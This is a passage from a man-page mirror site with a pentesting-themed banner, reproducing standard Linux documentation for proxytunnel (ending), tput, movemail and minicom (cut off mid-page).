Most HTTPS proxies do not allow access to ports other than HTTPS (tcp/443) and SNEWS (tcp/563). In this case you need to make sure the SSH daemon or remote proxy on the destination system is listening on either tcp/443 or tcp/563 to get through.

ENVIRONMENT

Proxytunnel can be influenced by setting one of the following environment variables:

HTTP_PROXY

If this environment variable is set, proxytunnel will use it as the local proxy if -p or –proxy is not provided.

PROXYUSER

If this environment variable is set, proxytunnel will use it as the username for proxy authentication, unless specified using the -P or –proxyauth option.

PROXYPASS

If this environment variable is set, proxytunnel will use it as the password for proxy authentication, unless specified using the -P or –proxyauth option.

REMPROXYUSER

If this environment variable is set, proxytunnel will use it as the username for remote (secondary) proxy authentication, unless specified using the -R or –remproxyauth option.

REMPROXYPASS

If this environment variable is set, proxytunnel will use it as the password for remote (secondary) proxy authentication, unless specified using the -R or –remproxyauth option.

SEE ALSO

ssh(1), ssh_config(8)

BUGS

This software is bug-free, at least we’d like to think so. If you do not agree with us, please provide the proof with your friendly report at https://github.com/proxytunnel/proxytunnel/issues :)

AUTHOR

This manpage was initially written by Loïc Le Guyader <[email protected][1]> for the Debian GNU/Linux system, revamped in asciidoc by Dag Wieërs <[email protected][2]> and is now maintained by the Proxytunnel developers.

Homepages at https://proxytunnel.sourceforge.io and https://github.com/proxytunnel/proxytunnel

NOTES

[email protected]

mailto:[email protected]

[email protected]

mailto:[email protected]

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

15 - Linux cli command tput

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tput and provides detailed information about the command tput, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tput.

NAME 🖥️ tput 🖥️

initialize a terminal, exercise its capabilities, or query terminfo database

SYNOPSIS

tput [-T terminal-type] {cap-code [parameter . . .]} . . .

tput [-T terminal-type] [-x] clear

tput [-T terminal-type] init

tput [-T terminal-type] reset

tput [-T terminal-type] longname

tput -S

tput -V

DESCRIPTION

tput uses the terminfo library and database to make terminal-specific capabilities and information available to the shell, to initialize or reset the terminal, or to report a description of the current (or specified) terminal type. Terminal capabilities are accessed by cap-code.

terminfo(5) discusses terminal capabilities at length and presents a complete list of cap-codes.

When retrieving capability values, the result depends upon the capability’s type.

Boolean
tput sets its exit status to 0 if the terminal possesses cap-code, and 1 if it does not.

numeric
tput writes cap-code’s decimal value to the standard output stream if defined (-1 if it is not) followed by a newline.

string
tput writes cap-code’s value to the standard output stream if defined, without a trailing newline.

Before using a value returned on the standard output, the application should test tput’s exit status to be sure it is 0; see section EXIT STATUS below.

Operands

Generally, an operand is a cap-code, a capability code from the terminal database, or a parameter thereto. Three others are specially recognized by tput: init, reset, and longname. Although these resemble capability codes, they in fact receive special handling; we term them pseudo-capabilities.

cap-code
indicates a capability from the terminal database.

If cap-code is of string type and takes parameters, tput interprets arguments following cap-code as the parameters, up to the (fixed) quantity the capability requires.

Most parameters are numeric. Only a few terminal capabilities require string parameters; tput uses a table to decide which to pass as strings. Normally tput uses tparm(3NCURSES) to perform the substitution. If no parameters are given for the capability, tput writes the string without performing the substitution.

init
initializes the terminal. If the terminal database is present and an entry for the user’s terminal type exists, the following occur.

(1)
tput retrieves the terminal’s mode settings. It successively tests the file descriptors corresponding to

  • the standard error stream,

  • the standard output stream,

  • the standard input stream, and

  • /dev/tty

to obtain terminal settings. Having retrieved them, tput remembers which descriptor to use for further updates.

(2)
If the terminal dimensions cannot be obtained from the operating system, but the environment or terminal type database entry describes them, tput updates the operating system’s notion of them.

(3)
tput updates the terminal modes.

  • Any delays specified in the entry (for example, when a newline is sent) are set in the terminal driver.

  • Tab expansion is turned on or off per the specification in the entry, and

  • if tabs are not expanded, standard tabs (every 8 spaces) are set.

(4)
If initialization capabilities, detailed in subsection Tabs and Initialization of terminfo(5), are present, tput writes them to the standard output stream.

(5)
tput flushes the standard output stream.

If an entry lacks the information needed for an activity above, that activity is silently skipped.

reset
re-initializes the terminal. A reset differs from initialization in two ways.

(1)
tput sets the the terminal modes to a sane state,

  • enabling cooked and echo modes,

  • disabling cbreak and raw modes,

  • enabling newline translation, and

  • setting any unset special characters to their default values.

(2)
If any reset capabilities are defined for the terminal type, tput writes them to the output stream. Otherwise, tput uses any defined initialization capabilities. Reset capabilities are detailed in subsection Tabs and Initialization of terminfo(5).

longname
A terminfo entry begins with one or more names by which an application can refer to the entry, before the list of terminal capabilities. The names are separated by | characters. X/Open Curses terms the last name the long name, and indicates that it may include blanks.

tic warns if the last name does not include blanks, to accommodate old terminfo entries that treated the long name as an optional feature. The long name is often referred to as the description field.

If the terminal database is present and an entry for the user’s terminal type exists, tput reports its description to the standard output stream, without a trailing newline. See terminfo(5).

Note: Redirecting the output of tput init or tput reset to a file will capture only part of their actions. Changes to the terminal modes are not affected by file descriptor redirection, since the terminal modes are altered via ioctl(2).

Aliases

If tput is invoked via link with any of the names clear, init, or reset, it operates as if run with the corresponding (pseudo-)capability operand. For example, executing a link named reset that points to tput has the same effect as tput reset.

This feature was introduced by ncurses 5.2 in 2000. It is rarely used:

clear
is a separate program, which is both smaller and more frequently executed.

init
has the same name as another program in widespread use.

reset
is provided by the tset(1) utility (also via a link named reset).

Terminal Size

Besides the pseudo-capabilities (such as init), tput treats the lines and cols cap-codes specially: it may call setupterm(3NCURSES) to obtain the terminal size.

  • First, tput attempts to obtain these capabilities from the terminal database. This generally fails for terminal emulators, which lack a fixed window size and thus omit the capabilities.

  • It then asks the operating system for the terminal’s size, which generally works, unless the connection is via a serial line that does not support NAWS: negotiations about window size.

  • Finally, it inspects the environment variables LINES and COLUMNS, which may override the terminal size.

If the -T option is given, tput ignores the environment variables by calling use_tioctl(TRUE), relying upon the operating system (or, ultimately, the terminal database).

OPTIONS

-S
retrieves more than one capability per invocation of tput. The capabilities must be passed to tput from the standard input stream instead of from the command line (see section EXAMPLES below). Only one cap-code is allowed per line. The -S option changes the meanings of the 0 and 1 exit statuses (see section EXIT STATUS below).

Some capabilities use string parameters rather than numeric ones. tput employs a built-in table and the presence of parameters in its input to decide how to interpret them, and whether to use tparm(3NCURSES).

**-T **type
indicates the terminal’s type. Normally this option is unnecessary, because a default is taken from the TERM environment variable. If specified, the environment variables LINES and COLUMNS are also ignored.

-V
reports the version of ncurses associated with tput, and exits with a successful status.

-x
prevents tput clear from attempting to clear the scrollback buffer.

EXIT STATUS

Normally, one should interpret tput’s exit statuses as follows.

StatusMeaning When -S Not Specified
0Boolean or string capability present
1Boolean or numeric capability absent
2usage error or no terminal type specified
3unrecognized terminal type
4unrecognized capability code
>4system error (4 + errno)

When the -S option is used, some statuses change meanings.

StatusMeaning When -S Specified
0all operands interpreted
1unused
4some operands not interpreted

ENVIRONMENT

tput reads one environment variable.

TERM
denotes the terminal type. Each terminal type is distinct, though many are similar. The -T option overrides its value.

FILES

/usr/share/tabset
tab stop initialization database

/etc/terminfo
compiled terminal description database

PORTABILITY

Over time ncurses tput has differed from that of System V in two important respects, one now mostly historical.

  • tput cap-code writes to the standard output, which need not be a terminal device. However, the operands that manipulate terminal modes might not use the standard output.

    System V tput’s init and reset operands use logic from 4.1cBSD tset, manipulating terminal modes. It checks the same file descriptors (and /dev/tty) for association with a terminal device as ncurses now does, and if none are, finally assumes a 1200 baud terminal. When updating terminal modes, it ignores errors.

    Until ncurses 6.1 (see section HISTORY below), tput did not modify terminal modes. It now employs a scheme similar to System V, using functions shared with tset (and ultimately based on 4.4BSD tset). If it is not able to open a terminal (for instance, when run by cron(1)), tput exits with an error status.

  • System V tput assumes that the type of a cap-code operand is numeric if all the characters of its value are decimal numbers; if they are not, it treats cap-code as a string capability.

    Most implementations that provide support for cap-code operands use the tparm(3NCURSES) function to expand its parameters. That function expects a mixture of numeric and string parameters, requiring tput to know which type to use.

    ncurses tput uses a table to determine the parameter types for the standard cap-code operands, and an internal function to analyze nonstandard cap-code operands.

    While more reliable than System V’s utility, a portability problem is introduced by this analysis. An OpenBSD developer adapted the internal library function from ncurses to port NetBSD’s termcap-based tput to terminfo, and modified it to interpret multiple cap-codes (and parameters) on the command line. Portable applications should not rely upon this feature; ncurses offers it to support applications written specifically for OpenBSD.

This implementation, unlike others, accepts both termcap and terminfo cap-codes if termcap support is compiled in. In that case, however, the predefined termcap and terminfo codes have two ambiguities; ncurses assumes the terminfo code.

  • The cap-code dl means delete_line to termcap but parm_delete_line to terminfo. termcap uses the code DL for parm_delete_line. terminfo uses the code dl1 for delete_line.

  • The cap-code ed means exit_delete_mode to termcap but clr_eos to terminfo. termcap uses the code cd for clr_eos. terminfo uses the code rmdc for exit_delete_mode.

The longname operand, -S option, and the parameter-substitution features used in the cup example below, were not supported in AT&T/USL curses before SVr4 (1989). Later, 4.3BSD-Reno (1990) added support for longname, and in 1994, NetBSD added support for the parameter-substitution features.

IEEE Std 1003.1/The Open Group Base Specifications Issue 7 (POSIX.1-2008) documents only the clear, init, and reset operands. A few observations of interest arise from that selection.

  • ncurses supports clear as it does any other standard cap-code. The others (init and longname) do not correspond to terminal capabilities.

  • The tput on SVr4-based systems such as Solaris, IRIX64, and HP-UX, as well as others such as AIX and Tru64, also support standard cap-code operands.

  • A few platforms such as FreeBSD recognize termcap codes rather than terminfo capability codes in their respective tput commands. Since 2010, NetBSD’s tput uses terminfo codes. Before that, it (like FreeBSD) recognized termcap codes.

    Beginning in 2021, FreeBSD uses ncurses tput, configured for both terminfo (tested first) and termcap (as a fallback).

Because (apparently) all certified Unix systems support the full set of capability codes, the reason for documenting only a few may not be apparent.

  • X/Open Curses Issue 7 documents tput differently, with cap-code and the other features used in this implementation.

  • That is, there are two standards for tput: POSIX (a subset) and X/Open Curses (the full implementation). POSIX documents a subset to avoid the complication of including X/Open Curses and the terminal capability database.

  • While it is certainly possible to write a tput program without using curses, no system with a curses implementation provides a tput utility that does not also support standard cap-codes.

X/Open Curses Issue 7 (2009) is the first version to document utilities. However that part of X/Open Curses does not follow existing practice (that is, System V curses behavior).

  • It assigns exit status 4 to invalid operand, which may have the same meaning as unknown capability. For instance, the source code for Solaris xcurses uses the term invalid in this case.

  • It assigns exit status 255 to a numeric variable that is not specified in the terminfo database. That likely is a documentation error, mistaking the -1 written to the standard output to indicate an absent or cancelled numeric capability for an (unsigned) exit status.

The various System V implementations (AIX, HP-UX, Solaris) use the same exit statuses as ncurses.

NetBSD curses documents exit statuses that correspond to neither ncurses nor X/Open Curses.

HISTORY

Bill Joy wrote a tput command during development of 4BSD in October 1980. This initial version only cleared the screen, and did not ship with official distributions.

System V developed a different tput command.

  • SVr2 (1984) provided a rudimentary tput that checked the parameter against each predefined capability and returned the corresponding value. This version of tput did not use tparm(3NCURSES) for parameterized capabilities.

  • SVr3 (1987) replaced that with a more extensive program whose support for init and reset operands (more than half the program) incorporated the reset feature of BSD tset written by Eric Allman.

  • SVr4 (1989) added color initialization by using the orig_colors (oc) and orig_pair (op) capabilities in its init logic.

Keith Bostic refactored BSD tput for shipment in 4.3BSD-Tahoe (1988), then replaced it the next year with a new implementation based on System V tput. Bostic’s version similarly accepted some parameters named for terminfo (pseudo-)capabilities: clear, init, longname, and reset. However, because he had only termcap available, it accepted termcap codes for other capabilities. Also, Bostic’s BSD tput did not modify the terminal modes as the earlier BSD tset had done.

At the same time, Bostic added a shell script named clear that used tput to clear the screen. Both of these appeared in 4.4BSD, becoming the modern BSD implementation of tput.

The origin of ncurses tput lies outside both System V and BSD, in Ross Ridge’s mytinfo package, published on comp.sources.unix in December 1992. Ridge’s program made more sophisticated use of the terminal capabilities than the BSD program. Eric Raymond used that tput program (and other parts of mytinfo) in ncurses in June 1995. Incorporating the portions dealing with terminal capabilities almost without change, Raymond made improvements to the way command-line parameters were handled.

Before ncurses 6.1 (2018), its tset and tput utilities differed.

  • tset was more effective, resetting the terminal modes and special characters.

  • On the other hand, tset’s repertoire of terminal capabilities for resetting the terminal was more limited; it had only equivalents of reset_1string (rs1), reset_2string (rs2), and reset_file (rf), and not the tab stop and margin update features of tput.

The reset program is traditionally an alias for tset due to its ability to reset terminal modes and special characters.

As of ncurses 6.1, the reset features of the two programs are (mostly) the same. Two minor differences remain.

  • The tset program waits one second when resetting, in case the terminal happens to be a hardware device.

  • The two programs write the terminal initialization strings to different streams; that is, standard error for tset and standard output for tput.

EXAMPLES

tput init
Initialize the terminal according to the type of terminal in the TERM environment variable. If the system does not reliably initialize the terminal upon login, this command can be included in $HOME/.profile after exporting the TERM environment variable.

tput -T5620 reset
Reset an AT&T 5620 terminal, overriding the terminal type in the TERM environment variable.

tput cnorm
Set cursor to normal visibility.

tput home
Move the cursor to row 0, column 0: the upper left corner of the screen, usually known as the home cursor position.

tput clear
Clear the screen: write the clear_screen capability’s value to the standard output stream.

tput cols
Report the number of columns used by the current terminal type.

tput -Tadm3a cols
Report the number of columns used by an ADM-3A terminal.

strong=`tput smso` normal=`tput rmso`
Set shell variables to capability values: strong and normal, to begin and end, respectively, stand-out mode for the terminal. One might use these to present a prompt.

printf "${strong}Username:${normal} "

tput hc
Indicate via exit status whether the terminal is a hard copy device.

tput cup 23 4
Move the cursor to row 23, column 4.

tput cup
Report the value of the cursor_address (cup) capability (used for cursor movement), with no parameters substituted.

tput longname
Report the terminfo database’s description of the terminal type specified in the TERM environment variable.

tput -S
Process multiple capabilities. The -S option can be profitably used with a shell here document.

$ tput -S <<!
> clear
> cup 10 10
> bold
> !

The foregoing clears the screen, moves the cursor to position (10, 10) and turns on bold (extra bright) mode.

tput clear cup 10 10 bold
Perform the same actions as the foregoing tput -S example.

SEE ALSO

clear(1), stty(1), tabs(1), tset(1), termcap(3NCURSES), terminfo(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

16 - Linux cli command phar8.2.phar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command phar8.2.phar and provides detailed information about the command phar8.2.phar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the phar8.2.phar.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

17 - Linux cli command movemail

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command movemail and provides detailed information about the command movemail, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the movemail.

NAME 🖥️ movemail 🖥️

move messages across mailboxes.

SYNOPSIS

movemail.mailutils [OPTION…] inbox-url destfile [POP-password]

DESCRIPTION

GNU movemail move messages across mailboxes.

–[no-]emacs
output information used by Emacs rmail interface

–[no-]ignore-errors
try to continue after errors

–max-messages=NUMBER
process at most NUMBER messages

-m, –[no-]progress-meter
enable progress meter

–[no-]notify
enable biff notification

–onerror=KW[,KW…]
what to do on errors

-P, –owner=MODELIST
control mailbox ownership

-p, –[no-]preserve, –keep-messages
preserve the source mailbox

–program-id=FMT
set program identifier for diagnostics (default: program name)

-r, –[no-]reverse
reverse the sorting order

-u, –[no-]uidl
use UIDLs to avoid downloading the same message twice

-v, –verbose
increase verbosity level

Global debugging settings

–debug-level=LEVEL
set Mailutils debugging level

–[no-]debug-line-info show source info with debugging messages

Configuration handling

–config-file=FILE
load this configuration file; implies –no-config

–config-lint
check configuration file syntax and exit

–config-verbose
verbosely log parsing of the configuration files

–no-config
do not load site and user configuration files

–no-site-config
do not load site-wide configuration file

–no-user-config
do not load user configuration file

–set=PARAM=VALUE
set configuration parameter

Informational options

–config-help
show configuration file summary

–show-config-options
show compilation options

-?, –help
give this help list

–usage
give a short usage message

-V, –version
print program version

Mandatory or optional arguments to long options are also mandatory or optional for any corresponding short options.

REPORTING BUGS

Report bugs to <[email protected]>.
GNU Mailutils home page: <http://mailutils.org>
General help using GNU software: <http://www.gnu.org/gethelp/>

COPYRIGHT

Copyright © 2007-2024 Free Software Foundation, inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

The complete GNU mailutils documentation is maintained as a Texinfo manual. If the mailutils-doc package is installed, the command

info mailutils

should give you access to the complete manual.
You can also find this manual online in the GNU mailutils webpage:
https://www.gnu.org/software/mailutils/manual/index.html.
Please note this manpage was automatically generated by the Debian mailutils packagers. Do not file bugs for its content to the GNU Mailutils upstream authors.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

18 - Linux cli command minicom

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command minicom and provides detailed information about the command minicom, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the minicom.

NAME 🖥️ minicom 🖥️

friendly serial communication program

SYNOPSIS

minicom [options] [configuration]

DESCRIPTION

minicom is a communication program which somewhat resembles the shareware program TELIX but is free with source code and runs under most Unices. Features include dialing directory with auto-redial, support for UUCP-style lock files on serial devices, a separate script language interpreter, capture to file, multiple users with individual configurations, and more.

COMMAND-LINE

-s, –setup
Setup. Root edits the system-wide defaults in /etc/minicom/minirc.dfl with this option. When it is used, minicom does not initialize, but puts you directly into the configuration menu. This is very handy if minicom refuses to start up because your system has changed, or for the first time you run minicom. For most systems, reasonable defaults are already compiled in.

-o, –noinit
Do not initialize. Minicom will skip the initialization code. This option is handy if you quit from minicom without resetting, and then want to restart a session. It is potentially dangerous though: no check for lock files etc. is made, so a normal user could interfere with things like UUCP… maybe this will be taken out later. For now it is assumed, that users who are given access to a modem are responsible enough for their actions.

-m, –metakey
Override command-key with the Meta or ALT key. This is the default in 1.80 and it can also be configured in one of minicom’s menus, but if you use different terminals all the time, of which some don’t have a Meta or ALT key, it’s handy to set the default command key to Ctrl-A and use this option when you have a keyboard supporting Meta or ALT keys. Minicom assumes that your Meta key sends the ESC prefix, not the other variant that sets the highest bit of the character.

-M, –metakey8
Same as -m, but assumes that your Meta key sets the 8th bit of the character high (sends 128 + character code).

-z, –statline
Use terminal status line. This only works on terminals that support it and that have the relevant information in their termcap or terminfo database entry.

-l, –ansi
Literal translation of characters with the high bit set. With this flag on, minicom will try to translate the IBM line characters to ASCII. Many PC-unix clones will display character correctly without translation (Linux in a special mode, Coherent and SCO).

-L, –iso
Ditto but assume screen uses an ISO8859 character set.

-w, –wrap
Turns line-wrap on at startup by default.

-H, –displayhex
Turn on output in hex mode.

-a, –attrib=on/off
Attribute usage. Some terminals, notably Televideo’s, have rotten attribute handling (serial instead of parallel). By default, minicom uses ‘-a on’, but if you are using such a terminal you can (must!) supply the option ‘-a off’. The trailing ‘on’ or ‘off’ is needed.

-t, –term=TERM
Terminal type. With this flag, you can override the environment TERM variable. This is handy for use in the MINICOM environment variable; one can create a special termcap entry for use with minicom on the console, that initializes the screen to raw mode so that in conjunction with the -l flag, the IBM line characters are displayed untranslated.

-c, –color=on/off
Color usage. Some terminals (such as the Linux console) support color with the standard ANSI escape sequences. Because there is apparently no termcap support for color, these escape sequences are hard-coded into minicom. Therefore this option is off by default. You can turn it on with ‘-c on’. This, and the ‘-m’ option, are good candidates to put into the MINICOM environment variable.

-S, –script=SCRIPT
script. Run the named script at startup. So far, passing username and password to a startup script is not supported. If you also use the -d option to start dialing at startup, the -S script will be run BEFORE dialing the entries specified with -d.

-d, –dial=ENTRY
Dial an entry from the dialing directory on startup. You can specify an index number, but also a substring of the name of the entry. If you specify a name that has multiple entries in the directory, they are all tagged for dialing. You can also specify multiple names or index numbers by separating them with commas. The dialing will start from the first entry specified after all other program initialization procedures are completed.

-p, –ptty=TTYP
Pseudo terminal to use. This overrides the terminal port defined in the configuration files, but only if it is a pseudo TTY. The filename supplied must be of the form (/dev/)tty[p-z/][0-f], (/dev/)pts[p-z/][0-f] or (/dev/)pty[p-z/][0-f]. For example, /dev/ttyp1, pts/0 or /dev/ptyp2.

-C, –capturefile=FILE
filename. Open capture file at startup.

–capturefile-buffer-mode=MODE
Buffering mode of capture file. MODE can be one of: N Unbuffered (the default). L Line buffered. F Fully buffered.

-F, –statlinefmt
Format for the status line. The following format specifier are available: %H Escape key for help screen. %V Version string of minicom. %b Information on connection, such as baud rate. %T Terminal type. %C Cursor mode. %D Device path, possibly shorted to remaining available space. %t Online time. %% % character.

Example: “%H for help | %b | Minicom %V | %T | %C | %t”

-b, –baudrate
Specify the baud rate, overriding the value given in the configuration file.

-D, –device
Specify the device, overriding the value given in the configuration file.

-O, –option
Set an option. The argument can be a single word, or a key=value pair. Recognized options:

timestamp with values simple, delta, persecond, and extended. If no value is given, ‘simple’ is selected.

-R, –remotecharset
Specify the character set of the remote system is using and convert it to the character set of the local side. Example might be ’latin1’.

-7, –7bit
7bit mode for terminals which aren’t 8bit capable. 8bit is default if the environment is configured for this via LANG or LC_ALL, 7bit otherwise.

-8, –8bit
8bit characters pass through without any modification. ‘Continuous’ means no locate/attribute control sequences are inserted without real change of locate/attribute. This mode is to display 8bit multi-byte characters such as Japanese. Not needed in every language with 8bit characters. (For example displaying Finnish text doesn’t need this.)

-h, –help
Display help and exit.

-v, –version
Print the minicom version.

When minicom starts, it first searches the MINICOM environment variable for command-line arguments, which can be over-ridden on the command line. Thus, if you have done

MINICOM=’-m -c on’

export MINICOM

or the equivalent, and start minicom, minicom will assume that your terminal has a Meta or <ALT> key and that color is supported. If you then log in from a terminal without color support, and you have set MINICOM in your startup (.profile or equivalent) file, and don’t want to re-set your environment variable, you can type ‘minicom -c off’ and run without color support for that session.

configuration
The configuration argument is more interesting. Normally, minicom gets its defaults from a file called “minirc.dfl”. If you however give an argument to minicom, it will try to get its defaults from a file called “minirc.configuration “. So it is possible to create multiple configuration files, for different ports, different users etc. Most sensible is to use device names, such as tty1, tty64, sio2 etc. If a user creates their own configuration file, it will show up in their home directory as “.minirc.dfl” or “.minirc.configuration “.

USE

Minicom is window based. To pop-up a window with the function you want, press Control-A (from now on, we will use C-A to mean Control-A), and then the function key (a-z or A-Z). By pressing C-A first and then ‘z’, a help screen comes up with a short summary of all commands. This escape key can be altered when minicom is configured (-s option or C-A O), but we’ll stick to Control-A for now.

For every menu the next keys can be used:

UP
arrow-up or ‘k’

DOWN
arrow-down or ‘j’

LEFT
arrow-left or ‘h’

RIGHT
arrow-right or ’l’

CHOOSE
Enter

CANCEL
ESCape.

The screen is divided into two portions: the upper 24 lines are the terminal-emulator screen. In this window, ANSI or VT100 escape sequences are interpreted. If there is a line left at the bottom, a status line is placed there. If this is not possible the status line will be showed every time you press C-A. On terminals that have a special status line that will be used if the termcap information is complete and the -k flag has been given.

Possible commands are listed next, in alphabetical order.

C-A
Pressing C-A a second time will just send a C-A to the remote system. If you have changed your “escape character” to something other than C-A, this works analogously for that character.

A
Toggle ‘Add Linefeed’ on/off. If it is on, a linefeed is added before every carriage return displayed on the screen.

B
Gives you a scroll back buffer. You can scroll up with u, down with d, a page up with b, a page down with f, and if you have them the arrow and page up/page down keys can also be used. You can search for text in the buffer with s (case-sensitive) or S (case-insensitive). N will find the next occurrence of the string. c will enter citation mode. A text cursor appears and you specify the start line by hitting Enter key. Then scroll back mode will finish and the contents with prefix ‘>’ will be sent.

C
Clears the screen.

D
Dial a number, or go to the dialing directory.

E
Toggle local echo on and off (if your version of minicom supports it).

F
A break signal is sent to the modem.

G
Run script (Go). Runs a login script.

H
Hangup.

I
Toggle the type of escape sequence that the cursor keys send between normal and applications mode. (See also the comment about the status line below).

J
Jump to a shell. On return, the whole screen will be redrawn.

K
Clears the screen, runs kermit and redraws the screen upon return.

L
Turn Capture file on off. If turned on, all output sent to the screen will be captured in the file too.

M
Sends the modem initialization string. If you are online and the DCD line setting is on, you are asked for confirmation before the modem is initialized.

N
Toggle between timestamp modes to be added to the output. Available are simple and extended time formats for each line, a delta to the previous line, a time display each second and no timestamps (the default).

O
Configure minicom. Puts you in the configuration menu.

P
Communication Parameters. Allows you to change the bps rate, parity and number of bits.

Q
Exit minicom without resetting the modem. If macros changed and were not saved, you will have a chance to do so.

R
Receive files. Choose from various protocols (external). If you have the filename selection window and the prompt for download directory enabled, you’ll get a selection window for choosing the directory for downloading. Otherwise the download directory defined in the Filenames and paths menu will be used.

S
Send files. Choose the protocol like you do with the receive command. If you don’t have the filename selection window enabled (in the File transfer protocols menu), you’ll just have to write the filename(s) in a dialog window. If you have the selection window enabled, a window will pop up showing the filenames in your upload directory. You can tag and untag filenames by pressing spacebar, and move the cursor up and down with the cursor keys or j/k. The selected filenames are shown highlighted. Directory names are shown [within brackets] and you can move up or down in the directory tree by pressing the spacebar twice. Finally, send the files by pressing ENTER or quit by pressing ESC.

T
Choose Terminal emulation: Ansi(color) or vt100. You can also change the backspace key here, turn the status line on or off, and define delay (in milliseconds) after each newline if you need that.

U
Add carriage return to each received line.

W
Toggle line-wrap on/off.

X
Exit minicom, reset modem. If macros changed and were not saved, you will have a chance to do so.

Y
Paste a file. Reads a file and sends its contests just as if it would be typed in.

Z
Pop up the help screen.

DIALING DIRECTORY

By pressing C-A D the program puts you in the dialing directory. Select a command by pressing the capitalized letter or moving cursor right/left with the arrow keys or the h/l keys and pressing Enter. You can add, delete or edit entries and move them up and down in the directory list. By choosing “dial” the phone numbers of the tagged entries, or if nothing is tagged, the number of the highlighted entry will be dialed. While the modem is dialing, you can press escape to cancel dialing. Any other key will close the dial window, but won’t cancel the dialing itself. Your dialing directory will be saved into the file “.dialdir” in your home directory. You can scroll up and down with the arrow keys, but you can also scroll complete pages by pressing the PageUp or PageDown key. If you don’t have those, use Control-B (Backward) and Control-F (Forward). You can use the space bar to tag a number of entries and minicom will rotate trough this list if a connection can’t be made. A ‘>’ symbol is drawn in the directory before the names of the tagged entries.

The “edit” menu speaks for itself, but I will discuss it briefly here.

A - Name
The name for this entry

B - Number
and its telephone number.

C - Dial string #
